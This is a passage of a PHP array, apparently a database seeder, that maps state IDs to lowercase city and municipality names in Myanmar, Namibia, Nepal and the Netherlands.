=> '2547', 'name' => 'akyab'],\n ['state_id' => '2547', 'name' => 'arakan'],\n ['state_id' => '2548', 'name' => 'kalay'],\n ['state_id' => '2548', 'name' => 'katha'],\n ['state_id' => '2548', 'name' => 'mawlaik'],\n ['state_id' => '2548', 'name' => 'monywa'],\n ['state_id' => '2548', 'name' => 'sagaing'],\n ['state_id' => '2548', 'name' => 'shwebo'],\n ['state_id' => '2549', 'name' => 'keng tung'],\n ['state_id' => '2549', 'name' => 'lashio'],\n ['state_id' => '2549', 'name' => 'taunggyi'],\n ['state_id' => '2550', 'name' => 'dawei'],\n ['state_id' => '2550', 'name' => 'mergui'],\n ['state_id' => '2551', 'name' => 'kanbe'],\n ['state_id' => '2551', 'name' => 'kayan'],\n ['state_id' => '2551', 'name' => 'syriam'],\n ['state_id' => '2551', 'name' => 'thongwa'],\n ['state_id' => '2551', 'name' => 'twante'],\n ['state_id' => '2551', 'name' => 'yangon'],\n ['state_id' => '2552', 'name' => 'katima mulilo'],\n ['state_id' => '2553', 'name' => 'henties bay'],\n ['state_id' => '2553', 'name' => 'karibib'],\n ['state_id' => '2553', 'name' => 'kuisebmond'],\n ['state_id' => '2553', 'name' => 'omaruru'],\n ['state_id' => '2553', 'name' => 'otjimbingwe'],\n ['state_id' => '2553', 'name' => 'swakopmund'],\n ['state_id' => '2553', 'name' => 'usakos'],\n ['state_id' => '2553', 'name' => 'walvis bay'],\n ['state_id' => '2554', 'name' => 'aranos'],\n ['state_id' => '2554', 'name' => 'maltahohe'],\n ['state_id' => '2554', 'name' => 'mariental'],\n ['state_id' => '2554', 'name' => 'rehoboth'],\n ['state_id' => '2555', 'name' => 'bethanien'],\n ['state_id' => '2555', 'name' => 'karasburg'],\n ['state_id' => '2555', 'name' => 'keetmanshoop'],\n ['state_id' => '2555', 'name' => 'luderitz'],\n ['state_id' => '2555', 'name' => 'oranjemund'],\n ['state_id' => '2555', 'name' => 'warmbad'],\n ['state_id' => '2556', 'name' => 'rundu'],\n ['state_id' => '2557', 'name' => 'windhoek'],\n ['state_id' => '2558', 'name' => 'arandis'],\n ['state_id' => '2558', 'name' => 'khorixas'],\n ['state_id' => '2558', 'name' => 'opuwo'],\n ['state_id' => '2558', 'name' => 'outjo'],\n ['state_id' => '2559', 'name' => 'oshikango'],\n ['state_id' => '2560', 'name' => 'gobabis'],\n ['state_id' => '2560', 'name' => 'leonardville'],\n ['state_id' => '2561', 'name' => 'ongandjera'],\n ['state_id' => '2562', 'name' => 'ongwediva'],\n ['state_id' => '2562', 'name' => 'oshakati'],\n ['state_id' => '2563', 'name' => 'ondangwa'],\n ['state_id' => '2563', 'name' => 'otavi'],\n ['state_id' => '2563', 'name' => 'tsumeb'],\n ['state_id' => '2564', 'name' => 'grootfontein'],\n ['state_id' => '2564', 'name' => 'okahandja'],\n ['state_id' => '2564', 'name' => 'okakarara'],\n ['state_id' => '2564', 'name' => 'otjiwarongo'],\n ['state_id' => '2565', 'name' => 'yaren'],\n ['state_id' => '2566', 'name' => 'banepa'],\n ['state_id' => '2566', 'name' => 'bhaktapur'],\n ['state_id' => '2566', 'name' => 'bidur'],\n ['state_id' => '2566', 'name' => 'bishalter'],\n ['state_id' => '2566', 'name' => 'dhulikhel'],\n ['state_id' => '2566', 'name' => 'kathmandu'],\n ['state_id' => '2566', 'name' => 'kirtipur'],\n ['state_id' => '2566', 'name' => 'lalitpur'],\n ['state_id' => '2566', 'name' => 'madhyapur thimi'],\n ['state_id' => '2566', 'name' => 'panauti'],\n ['state_id' => '2566', 'name' => 'tribuvannagar'],\n ['state_id' => '2567', 'name' => 'birendranagar'],\n ['state_id' => '2567', 'name' => 'gulariya'],\n ['state_id' => '2567', 'name' => 'narayan'],\n ['state_id' => '2567', 'name' => 'nepalganj'],\n ['state_id' => '2567', 'name' => 'surkhet'],\n ['state_id' => '2568', 'name' => 'baglung'],\n ['state_id' => '2568', 'name' => 'weni'],\n ['state_id' => '2569', 'name' => 'byas'],\n ['state_id' => '2569', 'name' => 'leknath'],\n ['state_id' => '2569', 'name' => 'pokhara'],\n ['state_id' => '2569', 'name' => 'prithivinarayan'],\n ['state_id' => '2569', 'name' => 'putalibazar'],\n ['state_id' => '2569', 'name' => 'waling'],\n ['state_id' => '2570', 'name' => 'bhimeshwar'],\n ['state_id' => '2570', 'name' => 'jaleshwar'],\n ['state_id' => '2570', 'name' => 'janakpur'],\n ['state_id' => '2570', 'name' => 'kamalamai'],\n ['state_id' => '2570', 'name' => 'malangwa'],\n ['state_id' => '2570', 'name' => 'sinduli marhi'],\n ['state_id' => '2571', 'name' => 'jumla'],\n ['state_id' => '2572', 'name' => 'biratnagar'],\n ['state_id' => '2572', 'name' => 'dhankuta'],\n ['state_id' => '2572', 'name' => 'dharan'],\n ['state_id' => '2572', 'name' => 'inaruwa'],\n ['state_id' => '2572', 'name' => 'itahari'],\n ['state_id' => '2572', 'name' => 'khandbari'],\n ['state_id' => '2573', 'name' => 'butwal'],\n ['state_id' => '2573', 'name' => 'kapilwastu'],\n ['state_id' => '2573', 'name' => 'ramgram'],\n ['state_id' => '2573', 'name' => 'sidharthanagar'],\n ['state_id' => '2573', 'name' => 'tansen'],\n ['state_id' => '2573', 'name' => 'wahadurganj'],\n ['state_id' => '2574', 'name' => 'amargadhi'],\n ['state_id' => '2574', 'name' => 'dashrathchand'],\n ['state_id' => '2574', 'name' => 'mahendranagar'],\n ['state_id' => '2575', 'name' => 'bhadrapur'],\n ['state_id' => '2575', 'name' => 'damak'],\n ['state_id' => '2575', 'name' => 'ilam'],\n ['state_id' => '2575', 'name' => 'mechinagar'],\n ['state_id' => '2576', 'name' => 'bharatpur'],\n ['state_id' => '2576', 'name' => 'birganj'],\n ['state_id' => '2576', 'name' => 'chitwan'],\n ['state_id' => '2576', 'name' => 'gaur'],\n ['state_id' => '2576', 'name' => 'hetauda'],\n ['state_id' => '2576', 'name' => 'kalaiya'],\n ['state_id' => '2576', 'name' => 'ratnanagar'],\n ['state_id' => '2577', 'name' => 'salyan'],\n ['state_id' => '2577', 'name' => 'tulsipur'],\n ['state_id' => '2578', 'name' => 'lahan'],\n ['state_id' => '2578', 'name' => 'rajbiraj'],\n ['state_id' => '2578', 'name' => 'siraha'],\n ['state_id' => '2578', 'name' => 'triyuga'],\n ['state_id' => '2579', 'name' => 'dhangadi'],\n ['state_id' => '2579', 'name' => 'dipayal'],\n ['state_id' => '2579', 'name' => 'tikapur'],\n ['state_id' => '2580', 'name' => 'kralendijk'],\n ['state_id' => '2581', 'name' => 'curacao'],\n ['state_id' => '2581', 'name' => 'willemstad'],\n ['state_id' => '2582', 'name' => 'the bottom'],\n ['state_id' => '2585', 'name' => 'schipolrijk'],\n ['state_id' => '2586', 'name' => 'amstelveen'],\n ['state_id' => '2587', 'name' => 'aa en hunze'],\n ['state_id' => '2587', 'name' => 'assen'],\n ['state_id' => '2587', 'name' => 'borger-odoorn'],\n ['state_id' => '2587', 'name' => 'coevorden'],\n ['state_id' => '2587', 'name' => 'de wolden'],\n ['state_id' => '2587', 'name' => 'den oever'],\n ['state_id' => '2587', 'name' => 'emmen'],\n ['state_id' => '2587', 'name' => 'gasteren'],\n ['state_id' => '2587', 'name' => 'hoogeveen'],\n ['state_id' => '2587', 'name' => 'menterwolde'],\n ['state_id' => '2587', 'name' => 'meppel'],\n ['state_id' => '2587', 'name' => 'midden-drenthe'],\n ['state_id' => '2587', 'name' => 'noordenveld'],\n ['state_id' => '2587', 'name' => 'stadskanaal'],\n ['state_id' => '2587', 'name' => 'tynaarlo'],\n ['state_id' => '2587', 'name' => 'veenoord'],\n ['state_id' => '2587', 'name' => 'westerveld'],\n ['state_id' => '2587', 'name' => 'zuidlaren'],\n ['state_id' => '2588', 'name' => 'almere'],\n ['state_id' => '2588', 'name' => 'dronten'],\n ['state_id' => '2588', 'name' => 'lelystad'],\n ['state_id' => '2588', 'name' => 'noordoostpolder'],\n ['state_id' => '2588', 'name' => 'urk'],\n ['state_id' => '2588', 'name' => 'zeewolde'],\n ['state_id' => '2589', 'name' => 'achtkarspelen'],\n ['state_id' => '2589', 'name' => 'ameland'],\n ['state_id' => '2589', 'name' => 'boarnsterhim'],\n ['state_id' => '2589', 'name' => 'bolsward'],\n ['state_id' => '2589', 'name' => 'dantumadeel'],\n ['state_id' => '2589', 'name' => 'dongeradeel'],\n ['state_id' => '2589', 'name' => 'drachten'],\n ['state_id' => '2589', 'name' => 'ferwerderadiel'],\n ['state_id' => '2589', 'name' => 'franekeradeel'],\n ['state_id' => '2589', 'name' => 'gaasterlan-sleat'],\n ['state_id' => '2589', 'name' => 'gorredijk'],\n ['state_id' => '2589', 'name' => 'harlingen'],\n ['state_id' => '2589', 'name' => 'heerenveen'],\n ['state_id' => '2589', 'name' => 'het bildt'],\n ['state_id' => '2589', 'name' => 'kollumerland'],\n ['state_id' => '2589', 'name' => 'leeuwarden'],\n ['state_id' => '2589', 'name' => 'leeuwarderadeel'],\n ['state_id' => '2589', 'name' => 'lemsterland'],\n ['state_id' => '2589', 'name' => 'littenseradiel'],\n ['state_id' => '2589', 'name' => 'menaldumadeel'],\n ['state_id' => '2589', 'name' => 'nijefurd'],\n ['state_id' => '2589', 'name' => 'oostrum'],\n ['state_id' => '2589', 'name' => 'ooststellingwerf'],\n ['state_id' => '2589', 'name' => 'opsterland'],\n ['state_id' => '2589', 'name' => 'schiermonnikoog'],\n ['state_id' => '2589', 'name' => 'skasterlan'],\n ['state_id' => '2589', 'name' => 'smallingerland'],\n ['state_id' => '2589', 'name' => 'sneek'],\n ['state_id' => '2589', 'name' => 'terschelling'],\n ['state_id' => '2589', 'name' => 'tytsjerksteradiel'],\n ['state_id' => '2589', 'name' => 'ureterp'],\n ['state_id' => '2589', 'name' => 'weststellingwerf'],\n ['state_id' => '2589', 'name' => 'wolvega'],\n ['state_id' => '2589', 'name' => 'wunseradiel'],\n ['state_id' => '2589', 'name' => 'wymbritseradiel'],\n ['state_id' => '2590', 'name' => 'aalten'],\n ['state_id' => '2590', 'name' => 'angerlo'],\n ['state_id' => '2590', 'name' => 'apeldoorn'],\n ['state_id' => '2590', 'name' => 'appeldoorn'],\n ['state_id' => '2590', 'name' => 'arnhem'],\n ['state_id' => '2590', 'name' => 'barneveld'],\n ['state_id' => '2590', 'name' => 'bemmel'],\n ['state_id' => '2590', 'name' => 'bergh'],\n ['state_id' => '2590', 'name' => 'beuningen'],\n ['state_id' => '2590', 'name' => 'borculo'],\n ['state_id' => '2590', 'name' => 'brummen'],\n ['state_id' => '2590', 'name' => 'buren'],\n ['state_id' => '2590', 'name' => 'culemborg'],\n ['state_id' => '2590', 'name' => 'delden'],\n ['state_id' => '2590', 'name' => 'didam'],\n ['state_id' => '2590', 'name' => 'dieren'],\n ['state_id' => '2590', 'name' => 'dinxperlo'],\n ['state_id' => '2590', 'name' => 'dodewaard'],\n ['state_id' => '2590', 'name' => 'doesburg'],\n ['state_id' => '2590', 'name' => 'doetinchem'],\n ['state_id' => '2590', 'name' => 'druten'],\n ['state_id' => '2590', 'name' => 'duiven'],\n ['state_id' => '2590', 'name' => 'ede'],\n ['state_id' => '2590', 'name' => 'eerbeek'],\n ['state_id' => '2590', 'name' => 'eibergen'],\n ['state_id' => '2590', 'name' => 'elburg'],\n ['state_id' => '2590', 'name' => 'epe'],\n ['state_id' => '2590', 'name' => 'ermelo'],\n ['state_id' => '2590', 'name' => 'geldermalsen'],\n ['state_id' => '2590', 'name' => 'gendringen'],\n ['state_id' => '2590', 'name' => 'giesbeek'],\n ['state_id' => '2590', 'name' => 'gorssel'],\n ['state_id' => '2590', 'name' => 'groenlo'],\n ['state_id' => '2590', 'name' => 'groesbeek'],\n ['state_id' => '2590', 'name' => 'harderwijk'],\n ['state_id' => '2590', 'name' => 'hattem'],\n ['state_id' => '2590', 'name' => 'heerde'],\n ['state_id' => '2590', 'name' => 'hengelo'],\n ['state_id' => '2590', 'name' => 'heumen'],\n ['state_id' => '2590', 'name' => 'huisen'],\n ['state_id' => '2590', 'name' => 'hummelo en keppel'],\n ['state_id' => '2590', 'name' => 'kesteren'],\n ['state_id' => '2590', 'name' => 'kootwijkerbroek'],\n ['state_id' => '2590', 'name' => 'leerdam'],\n ['state_id' => '2590', 'name' => 'leeuwen'],\n ['state_id' => '2590', 'name' => 'lichtenvoorde'],\n ['state_id' => '2590', 'name' => 'lingewaal'],\n ['state_id' => '2590', 'name' => 'lochem'],\n ['state_id' => '2590', 'name' => 'loppersum'],\n ['state_id' => '2590', 'name' => 'maasdriel'],\n ['state_id' => '2590', 'name' => 'malden'],\n ['state_id' => '2590', 'name' => 'millingen'],\n ['state_id' => '2590', 'name' => 'molenhoek'],\n ['state_id' => '2590', 'name' => 'neede'],\n ['state_id' => '2590', 'name' => 'neerijnen'],\n ['state_id' => '2590', 'name' => 'nijkerk'],\n ['state_id' => '2590', 'name' => 'nijmegen'],\n ['state_id' => '2590', 'name' => 'nunspeet'],\n ['state_id' => '2590', 'name' => 'oldebroek'],\n ['state_id' => '2590', 'name' => 'oosterbeek'],\n ['state_id' => '2590', 'name' => 'overbetuwe'],\n ['state_id' => '2590', 'name' => 'putten'],\n ['state_id' => '2590', 'name' => 'renkum'],\n ['state_id' => '2590', 'name' => 'rheden'],\n ['state_id' => '2590', 'name' => 'rijnwaarden'],\n ['state_id' => '2590', 'name' => 'rozendaal'],\n ['state_id' => '2590', 'name' => 'ruurlo'],\n ['state_id' => '2590', 'name' => 'scherpenzeel'],\n ['state_id' => '2590', 'name' => 'steenderen'],\n ['state_id' => '2590', 'name' => 'terborg'],\n ['state_id' => '2590', 'name' => 'tiel'],\n ['state_id' => '2590', 'name' => 'twello'],\n ['state_id' => '2590', 'name' => 'ubbergen'],\n ['state_id' => '2590', 'name' => 'vaassen'],\n ['state_id' => '2590', 'name' => 'varsseveld'],\n ['state_id' => '2590', 'name' => 'voorst'],\n ['state_id' => '2590', 'name' => 'vorden'],\n ['state_id' => '2590', 'name' => 'waardenburg'],\n ['state_id' => '2590', 'name' => 'wageningen'],\n ['state_id' => '2590', 'name' => 'warmsveld'],\n ['state_id' => '2590', 'name' => 'wehl'],\n ['state_id' => '2590', 'name' => 'westervoort'],\n ['state_id' => '2590', 'name' => 'wijchen'],\n ['state_id' => '2590', 'name' => 'winterswijk'],\n ['state_id' => '2590', 'name' => 'wisch'],\n ['state_id' => '2590', 'name' => 'zaltbommel'],\n ['state_id' => '2590', 'name' => 'zelhem'],\n ['state_id' => '2590', 'name' => 'zevenaar'],\n ['state_id' => '2590', 'name' => 'zutphen'],\n ['state_id' => '2590', 'name' => 's-heerenberg'],\n ['state_id' => '2591', 'name' => 'appingedam'],\n ['state_id' => '2591', 'name' => 'bedum'],\n ['state_id' => '2591', 'name' => 'bellingwedde'],\n ['state_id' => '2591', 'name' => 'de marne'],\n ['state_id' => '2591', 'name' => 'delfzijl'],\n ['state_id' => '2591', 'name' => 'eemsmond'],\n ['state_id' => '2591', 'name' => 'groningen'],\n ['state_id' => '2591', 'name' => 'grootegast'],\n ['state_id' => '2591', 'name' => 'haren'],\n ['state_id' => '2591', 'name' => 'hoogezand-sappemeer'],\n ['state_id' => '2591', 'name' => 'leek'],\n ['state_id' => '2591', 'name' => 'marum'],\n ['state_id' => '2591', 'name' => 'midwolda'],\n ['state_id' => '2591', 'name' => 'muntendam'],\n ['state_id' => '2591', 'name' => 'pekela'],\n ['state_id' => '2591', 'name' => 'reiderland'],\n ['state_id' => '2591', 'name' => 'scheemda'],\n ['state_id' => '2591', 'name' => 'slochteren'],\n ['state_id' => '2591', 'name' => 'ten boer'],\n ['state_id' => '2591', 'name' => 'tolbert'],\n ['state_id' => '2591', 'name' => 'veendam'],\n ['state_id' => '2591', 'name' => 'vlagtwedde'],\n ['state_id' => '2591', 'name' => 'winschoten'],\n ['state_id' => '2591', 'name' => 'winsum'],\n ['state_id' => '2591', 'name' => 'zuidhorn'],\n ['state_id' => '2592', 'name' => 'ambt montfort'],\n ['state_id' => '2592', 'name' => 'arcen en velden'],\n ['state_id' => '2592', 'name' => 'beek'],\n ['state_id' => '2592', 'name' => 'beesel'],\n ['state_id' => '2592', 'name' => 'bergen'],\n ['state_id' => '2592', 'name' => 'blerick'],\n ['state_id' => '2592', 'name' => 'brunssum'],\n ['state_id' => '2592', 'name' => 'echt'],\n ['state_id' => '2592', 'name' => 'eijsden'],\n ['state_id' => '2592', 'name' => 'gennep'],\n ['state_id' => '2592', 'name' => 'gulpen-wittem'],\n ['state_id' => '2592', 'name' => 'haelen'],\n ['state_id' => '2592', 'name' => 'heel'],\n ['state_id' => '2592', 'name' => 'heerlen'],\n ['state_id' => '2592', 'name' => 'helden'],\n ['state_id' => '2592', 'name' => 'heythuysen'],\n ['state_id' => '2592', 'name' => 'horst'],\n ['state_id' => '2592', 'name' => 'hunsel'],\n ['state_id' => '2592', 'name' => 'kerkrade'],\n ['state_id' => '2592', 'name' => 'kessel'],\n ['state_id' => '2592', 'name' => 'landgraaf'],\n ['state_id' => '2592', 'name' => 'maasbracht'],\n ['state_id' => '2592', 'name' => 'maasbree'],\n ['state_id' => '2592', 'name' => 'maastricht'],\n ['state_id' => '2592', 'name' => 'margraten'],\n ['state_id' => '2592', 'name' => 'meerlo-wanssum'],\n ['state_id' => '2592', 'name' => 'meerssen'],\n ['state_id' => '2592', 'name' => 'meijel'],\n ['state_id' => '2592', 'name' => 'mook en middelaar'],\n ['state_id' => '2592', 'name' => 'nederweert'],\n ['state_id' => '2592', 'name' => 'nuth'],\n ['state_id' => '2592', 'name' => 'onderbanken'],\n ['state_id' => '2592', 'name' => 'roerdalen'],\n ['state_id' => '2592', 'name' => 'roermond'],\n ['state_id' => '2592', 'name' => 'roggel'],\n ['state_id' => '2592', 'name' => 'roggel en neer'],\n ['state_id' => '2592', 'name' => 'schinnen'],\n ['state_id' => '2592', 'name' => 'sevenum'],\n ['state_id' => '2592', 'name' => 'simpelveld'],\n ['state_id' => '2592', 'name' => 'sittard'],\n ['state_id' => '2592', 'name' => 'sittard-geleen'],\n ['state_id' => '2592', 'name' => 'stein'],\n ['state_id' => '2592', 'name' => 'stramproy'],\n ['state_id' => '2592', 'name' => 'susteren'],\n ['state_id' => '2592', 'name' => 'swalmen'],\n ['state_id' => '2592', 'name' => 'tegelen'],\n ['state_id' => '2592', 'name' => 'thorn'],\n ['state_id' => '2592', 'name' => 'vaals'],\n ['state_id' => '2592', 'name' => 'valkenburg'],\n ['state_id' => '2592', 'name' => 'venlo'],\n ['state_id' => '2592', 'name' => 'venray'],\n ['state_id' => '2592', 'name' => 'vilt limburg'],\n ['state_id' => '2592', 'name' => 'voerendaal'],\n ['state_id' => '2592', 'name' => 'weert'],\n ['state_id' => '2593', 'name' => '\\'s-hertogenbosch'],\n ['state_id' => '2593', 'name' => 'aalburg'],\n ['state_id' => '2593', 'name' => 'alphen-chaam'],\n ['state_id' => '2593', 'name' => 'asten'],\n ['state_id' => '2593', 'name' => 'baarle-nassau'],\n ['state_id' => '2593', 'name' => 'bergeijk'],\n ['state_id' => '2593', 'name' => 'bergen op zoom'],\n ['state_id' => '2593', 'name' => 'berghem'],\n ['state_id' => '2593', 'name' => 'bernheze'],\n ['state_id' => '2593', 'name' => 'bernisse'],\n ['state_id' => '2593', 'name' => 'best'],\n ['state_id' => '2593', 'name' => 'bladel'],\n ['state_id' => '2593', 'name' => 'boekel'],\n ['state_id' => '2593', 'name' => 'boxmeer'],\n ['state_id' => '2593', 'name' => 'boxtel'],\n ['state_id' => '2593', 'name' => 'breda'],\n ['state_id' => '2593', 'name' => 'budel'],\n ['state_id' => '2593', 'name' => 'cranendonck'],\n ['state_id' => '2593', 'name' => 'cuijk'],\n ['state_id' => '2593', 'name' => 'den bosch'],\n ['state_id' => '2593', 'name' => 'den dungen'],\n ['state_id' => '2593', 'name' => 'deurne'],\n ['state_id' => '2593', 'name' => 'dongen'],\n ['state_id' => '2593', 'name' => 'drimmelen'],\n ['state_id' => '2593', 'name' => 'drunen'],\n ['state_id' => '2593', 'name' => 'duizel'],\n ['state_id' => '2593', 'name' => 'eersel'],\n ['state_id' => '2593', 'name' => 'eindhoven'],\n ['state_id' => '2593', 'name' => 'etten-leur'],\n ['state_id' => '2593', 'name' => 'geertruidenberg'],\n ['state_id' => '2593', 'name' => 'geldrop'],\n ['state_id' => '2593', 'name' => 'gemert-bakel'],\n ['state_id' => '2593', 'name' => 'gilze en rijen'],\n ['state_id' => '2593', 'name' => 'goirle'],\n ['state_id' => '2593', 'name' => 'grave'],\n ['state_id' => '2593', 'name' => 'haaren'],\n ['state_id' => '2593', 'name' => 'halderberge'],\n ['state_id' => '2593', 'name' => 'heeze-leende'],\n ['state_id' => '2593', 'name' => 'heijningen'],\n ['state_id' => '2593', 'name' => 'helmond'],\n ['state_id' => '2593', 'name' => 'heusden'],\n ['state_id' => '2593', 'name' => 'hilvarenbeek'],\n ['state_id' => '2593', 'name' => 'hoeven'],\n ['state_id' => '2593', 'name' => 'hoogerheide'],\n ['state_id' => '2593', 'name' => 'kaatsheuvel'],\n ['state_id' => '2593', 'name' => 'korendijk'],\n ['state_id' => '2593', 'name' => 'laarbeek'],\n ['state_id' => '2593', 'name' => 'landerd'],\n ['state_id' => '2593', 'name' => 'lith'],\n ['state_id' => '2593', 'name' => 'loon op zand'],\n ['state_id' => '2593', 'name' => 'maarheeze'],\n ['state_id' => '2593', 'name' => 'maasdonk'],\n ['state_id' => '2593', 'name' => 'mierlo'],\n ['state_id' => '2593', 'name' => 'mill en sint hubert'],\n ['state_id' => '2593', 'name' => 'moerdijk'],\n ['state_id' => '2593', 'name' => 'nieuwkuijk'],\n ['state_id' => '2593', 'name' => 'nuenen'],\n ['state_id' => '2593', 'name' => 'oirschot'],\n ['state_id' => '2593', 'name' => 'oisterwijk'],\n ['state_id' => '2593', 'name' => 'oosterhout'],\n ['state_id' => '2593', 'name' => 'oss'],\n ['state_id' => '2593', 'name' => 'raamsdonksveer'],\n ['state_id' => '2593', 'name' => 'ravenstein'],\n ['state_id' => '2593', 'name' => 'reusel-de mierden'],\n ['state_id' => '2593', 'name' => 'roosendaal'],\n ['state_id' => '2593', 'name' => 'rosmalen'],\n ['state_id' => '2593', 'name' => 'rucphen'],\n ['state_id' => '2593', 'name' => 'schaijk'],\n ['state_id' => '2593', 'name' => 'schijndel'],\n ['state_id' => '2593', 'name' => 'sint anthonis'],\n ['state_id' => '2593', 'name' => 'sint willebrord'],\n ['state_id' => '2593', 'name' => 'sint-michielsgestel'],\n ['state_id' => '2593', 'name' => 'sint-oedenrode'],\n ['state_id' => '2593', 'name' => 'sleeuwijk'],\n ['state_id' => '2593', 'name' => 'someren'],\n ['state_id' => '2593', 'name' => 'son en breugel'],\n ['state_id' => '2593', 'name' => 'steenbergen'],\n ['state_id' => '2593', 'name' => 'tilburg'],\n ['state_id' => '2593', 'name' => 'uden'],\n ['state_id' => '2593', 'name' => 'valkenswaard'],\n ['state_id' => '2593', 'name' => 'veghel'],\n ['state_id' => '2593', 'name' => 'veldhoven'],\n ['state_id' => '2593', 'name' => 'vinkel'],\n ['state_id' => '2593', 'name' => 'vught'],\n ['state_id' => '2593', 'name' => 'waalre'],\n ['state_id' => '2593', 'name' => 'waalwijk'],\n ['state_id' => '2593', 'name' => 'werkendam'],\n ['state_id' => '2593', 'name' => 'woensdrecht'],\n ['state_id' => '2593', 'name' => 'woudrichem'],\n ['state_id' => '2593', 'name' => 'zundert'],\n ['state_id' => '2594', 'name' => 'aalsmeer'],\n ['state_id' => '2594', 'name' => 'alkmaar'],\n ['state_id' => '2594', 'name' => 'amstelveen'],\n ['state_id' => '2594', 'name' => 'amsterdam'],\n ['state_id' => '2594', 'name' => 'andijk'],\n ['state_id' => '2594', 'name' => 'ankeveen'],\n ['state_id' => '2594', 'name' => 'anna paulowna'],\n ['state_id' => '2594', 'name' => 'assendelft'],\n ['state_id' => '2594', 'name' => 'badhoevedorp'],\n ['state_id' => '2594', 'name' => 'beemster'],\n ['state_id' => '2594', 'name' => 'bennebroek'],\n ['state_id' => '2594', 'name' => 'bergen'],\n ['state_id' => '2594', 'name' => 'beverwijk'],\n ['state_id' => '2594', 'name' => 'blaricum'],\n ['state_id' => '2594', 'name' => 'bloemendaal'],\n ['state_id' => '2594', 'name' => 'bovenkarspel'],\n ['state_id' => '2594', 'name' => 'bussum'],\n ['state_id' => '2594', 'name' => 'castricum'],\n ['state_id' => '2594', 'name' => 'den helder'],\n ['state_id' => '2594', 'name' => 'diemen'],\n ['state_id' => '2594', 'name' => 'drechterland'],\n ['state_id' => '2594', 'name' => 'edam-volendam'],\n ['state_id' => '2594', 'name' => 'enkhuizen'],\n ['state_id' => '2594', 'name' => 'graft-de rijp'],\n ['state_id' => '2594', 'name' => 'haarlem'],\n ['state_id' => '2594', 'name' => 'haarlemmerliede'],\n ['state_id' => '2594', 'name' => 'haarlemmermeer'],\n ['state_id' => '2594', 'name' => 'harenkarspel'],\n ['state_id' => '2594', 'name' => 'heemskerk'],\n ['state_id' => '2594', 'name' => 'heemstede'],\n ['state_id' => '2594', 'name' => 'heerhugowaard'],\n ['state_id' => '2594', 'name' => 'heiloo'],\n ['state_id' => '2594', 'name' => 'hillegom'],\n ['state_id' => '2594', 'name' => 'hilversum'],\n ['state_id' => '2594', 'name' => 'hoofddorp'],\n ['state_id' => '2594', 'name' => 'hoorn'],\n ['state_id' => '2594', 'name' => 'huizen'],\n ['state_id' => '2594', 'name' => 'ijmuiden'],\n ['state_id' => '2594', 'name' => 'katwijk'],\n ['state_id' => '2594', 'name' => 'krommenie'],\n ['state_id' => '2594', 'name' => 'landsmeer'],\n ['state_id' => '2594', 'name' => 'langedijk'],\n ['state_id' => '2594', 'name' => 'laren'],\n ['state_id' => '2594', 'name' => 'loosdrecht'],\n ['state_id' => '2594', 'name' => 'medemblik'],\n ['state_id' => '2594', 'name' => 'middenbeemster'],\n ['state_id' => '2594', 'name' => 'muiden'],\n ['state_id' => '2594', 'name' => 'naarden'],\n ['state_id' => '2594', 'name' => 'niedorp'],\n ['state_id' => '2594', 'name' => 'nieuw-vennep'],\n ['state_id' => '2594', 'name' => 'noorder-koggenland'],\n ['state_id' => '2594', 'name' => 'obdam'],\n ['state_id' => '2594', 'name' => 'oostzaan'],\n ['state_id' => '2594', 'name' => 'opmeer'],\n ['state_id' => '2594', 'name' => 'oude meer'],\n ['state_id' => '2594', 'name' => 'ouder-amstel'],\n ['state_id' => '2594', 'name' => 'oudkarspel'],\n ['state_id' => '2594', 'name' => 'purmerend'],\n ['state_id' => '2594', 'name' => 'rozenburg'],\n ['state_id' => '2594', 'name' => 'schagen'],\n ['state_id' => '2594', 'name' => 'schermer'],\n ['state_id' => '2594', 'name' => 'stede broec'],\n ['state_id' => '2594', 'name' => 'texel'],\n ['state_id' => '2594', 'name' => 'tuitjenhorn'],\n ['state_id' => '2594', 'name' => 'uitgeest'],\n ['state_id' => '2594', 'name' => 'uithoorn'],\n ['state_id' => '2594', 'name' => 'velsen'],\n ['state_id' => '2594', 'name' => 'venhuizen'],\n ['state_id' => '2594', 'name' => 'vijfhuizen'],\n ['state_id' => '2594', 'name' => 'waarland'],\n ['state_id' => '2594', 'name' => 'waterland'],\n ['state_id' => '2594', 'name' => 'weesp'],\n ['state_id' => '2594', 'name' => 'wervershoof'],\n ['state_id' => '2594', 'name' => 'wester-koggenland'],\n ['state_id' => '2594', 'name' => 'westwoud'],\n ['state_id' => '2594', 'name' => 'wieringen'],\n ['state_id' => '2594', 'name' => 'wieringermeer'],\n ['state_id' => '2594', 'name' => 'wognum'],\n ['state_id' => '2594', 'name' => 'wormer'],\n ['state_id' => '2594', 'name' => 'wormerland'],\n ['state_id' => '2594', 'name' => 'wormerveer'],\n ['state_id' => '2594', 'name' => 'zaandam'],\n ['state_id' => '2594', 'name' => 'zaanstad'],\n ['state_id' => '2594', 'name' => 'zandvoort'],\n ['state_id' => '2594', 'name' => 'zeevang'],\n ['state_id' => '2594', 'name' => 'zwaag'],\n ['state_id' => '2594', 'name' => 'zwanenburg'],\n ['state_id' => '2595', 'name' => 'almelo'],\n ['state_id' => '2595', 'name' => 'bathmen'],\n ['state_id' => '2595', 'name' => 'borne'],\n ['state_id' => '2595', 'name' => 'dalfsen'],\n ['state_id' => '2595', 'name' => 'dedemsvaart'],\n ['state_id' => '2595', 'name' => 'denekamp'],\n ['state_id' => '2595', 'name' => 'deventer'],\n ['state_id' => '2595', 'name' => 'diepenheim'],\n ['state_id' => '2595', 'name' => 'enschede'],\n ['state_id' => '2595', 'name' => 'genemuiden'],\n ['state_id' => '2595', 'name' => 'haaksbergen'],\n ['state_id' => '2595', 'name' => 'hardenberg'],\n ['state_id' => '2595', 'name' => 'hasselt'],\n ['state_id' => '2595', 'name' => 'hellendoorn'],\n ['state_id' => '2595', 'name' => 'hengelo'],\n ['state_id' => '2595', 'name' => 'hof van twente'],\n ['state_id' => '2595', 'name' => 'ijsselmuiden'],\n ['state_id' => '2595', 'name' => 'kampen'],\n ['state_id' => '2595', 'name' => 'lemelerveld'],\n ['state_id' => '2595', 'name' => 'losser'],\n ['state_id' => '2595', 'name' => 'nieuwleusen'],\n ['state_id' => '2595', 'name' => 'nijverdal'],\n ['state_id' => '2595', 'name' => 'oldenzaal'],\n ['state_id' => '2595', 'name' => 'olst'],\n ['state_id' => '2595', 'name' => 'ommen'],\n ['state_id' => '2595', 'name' => 'ootmarsum'],\n ['state_id' => '2595', 'name' => 'raalte'],\n ['state_id' => '2595', 'name' => 'rijssen'],\n ['state_id' => '2595', 'name' => 'staphorst'],\n ['state_id' => '2595', 'name' => 'steenwijk'],\n ['state_id' => '2595', 'name' => 'tubbergen'],\n ['state_id' => '2595', 'name' => 